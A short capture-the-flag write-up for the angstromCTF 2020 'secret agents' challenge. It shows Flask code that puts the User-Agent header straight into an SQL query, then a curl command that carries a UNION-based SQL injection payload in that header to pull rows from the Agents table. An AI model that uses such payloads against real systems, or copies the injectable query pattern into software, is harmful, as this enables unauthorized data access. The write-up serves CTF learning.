angstrom 2020 secret agents

Saturday, March 7, 2020 12:16 PM

We are given the python source:

```
@app.route("/login")
def login():
    u = request.headers.get("User-Agent")

    conn = mysql.connector.connect(
                    **dbconfig
                    )

    cursor = conn.cursor()

    #cursor.execute("SET GLOBAL connect_timeout=1")
    #cursor.execute("SET GLOVAL wait_timeout=1")
    #cursor.execute("SET GLOBAL interactive_timeout=1")

    for r in cursor.execute("SELECT * FROM Agents WHERE UA='%s'"%(u), multi=True):
        if r.with_rows:
            res = r.fetchall()
            break

    cursor.close()
    conn.close()



    if len(res) == 0:
        return render_template("login.html", msg="stop you're not allowed in here >:)")

    if len(res) > 1:
        return render_template("login.html", msg="hey close, but no banananananananana (there are
many secret agents of course)")


    return render_template("login.html", msg="Welcome, %s"%(res[0][0]))
```

This reads the User-Agent request header and feeds it to a vulnerable SQL statement.

We can tamper with this to get more info.

The server is down now but it was something like this:

```
curl 'https://agents.2020.chall.actf.co/login?' -H 'authority: agents.2020.chall.actf.co' -H 'pragma: no-cache' -H 'cache-control: no-cache' -H 'upgrade-insecure-requests: 1'  -H 'sec-fetch-dest: document' -H 'accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' -H 'sec-fetch-site: same-origin' -H 'sec-fetch-mode: navigate' -H 'sec-fetch-user: ?1' -H 'referer: https://agents.2020.chall.actf.co/' -H 'accept-language: en-US,en;q=0.9' -H "user-agent: a' union select UA,1 from Agents limit 1,1#"
```

The trailing # is a comment in MySQL so it hides the trailing single quote that the code adds.
The limit only gives you one result.

I think the flag was at limit 2,1 (the 2nd row)